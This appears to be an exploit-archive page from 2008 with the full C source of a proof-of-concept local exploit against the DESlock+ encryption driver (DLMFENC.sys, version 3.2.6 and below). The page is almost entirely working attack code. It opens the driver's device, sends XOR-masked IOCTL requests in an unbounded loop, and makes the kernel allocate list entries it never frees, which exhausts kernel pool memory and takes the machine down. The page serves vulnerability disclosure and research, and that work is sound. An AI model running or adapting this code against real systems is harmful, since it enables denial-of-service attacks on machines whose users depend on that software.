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deslock-list-leak.c

deslock-list-leak.c
Posted Feb 20, 2008
Authored by mu-b | Site digit-labs.org

DESlock+ versions 3.2.6 and below local kernel memory leak proof of concept exploit.

tags | exploit, kernel, local, proof of concept, memory leak
SHA-256 | 70f1081d7432d84300b7014055324ccff339c2934aaecdaa7db5a5c800cb4033

deslock-list-leak.c

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/* deslock-list-leak.c
*
* Copyright (c) 2008 by <mu-b@digit-labs.org>
*
* DESlock+ <= 3.2.6 local kernel mem leak POC
* by mu-b - Fri 21 Dec 2007
*
* - Tested on: DLMFENC.sys 1.0.0.26
*
* kernel pool memory leak by continually allocating link list
* structures and never freeing them. This is not without a sense
* of irony in that each element must correspond to a unique
* ProcessID (arg[0]). Thus, adding a single element incurs a
* linear cost due to search :(. (O((n^2+n)/2) overall cost.)
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
*/

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>

#define DLMFENC_IOCTL 0x0FA4204C
#define DLMFENC_FLAG 0xC001D00D

#define ARG_SIZE(a) ((a-(sizeof (int)*2))/sizeof (void *))

struct ioctl_req {
int flag;
int req_num;
void *arg[ARG_SIZE(0x20)];
};

static void
xor_mask_req (struct ioctl_req *req)
{
DWORD i, pid;
PCHAR ptr;

pid = GetCurrentProcessId ();
for (i = 0, ptr = (PCHAR) req; i < 0x0C; i++, ptr++)
*ptr ^= pid;
}

int
main (int argc, char **argv)
{
struct ioctl_req req;
DWORD i, rlen;
HANDLE hFile;
BOOL result;

printf ("DESlock+ <= 3.2.6 local kernel mem leak PoC\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

hFile = CreateFileA ("\\\\.\\DLKPFSD_Device", FILE_EXECUTE,
FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
exit (EXIT_FAILURE);
}

memset (&req, 0, sizeof req);

for (i = 0; i <= UINT_MAX; i++)
{
req.flag = DLMFENC_FLAG;
req.req_num = 0x03;
req.arg[0] = (void *) i;

xor_mask_req (&req);
result = DeviceIoControl (hFile, DLMFENC_IOCTL,
&req, sizeof req, &req, sizeof req, &rlen, 0);
if (!result)
{
fprintf (stderr, "* DeviceIoControl failed\n");
exit (EXIT_FAILURE);
}

if (!(i % 64))
printf ("%d..", i);
}

CloseHandle (hFile);

return (EXIT_SUCCESS);
}

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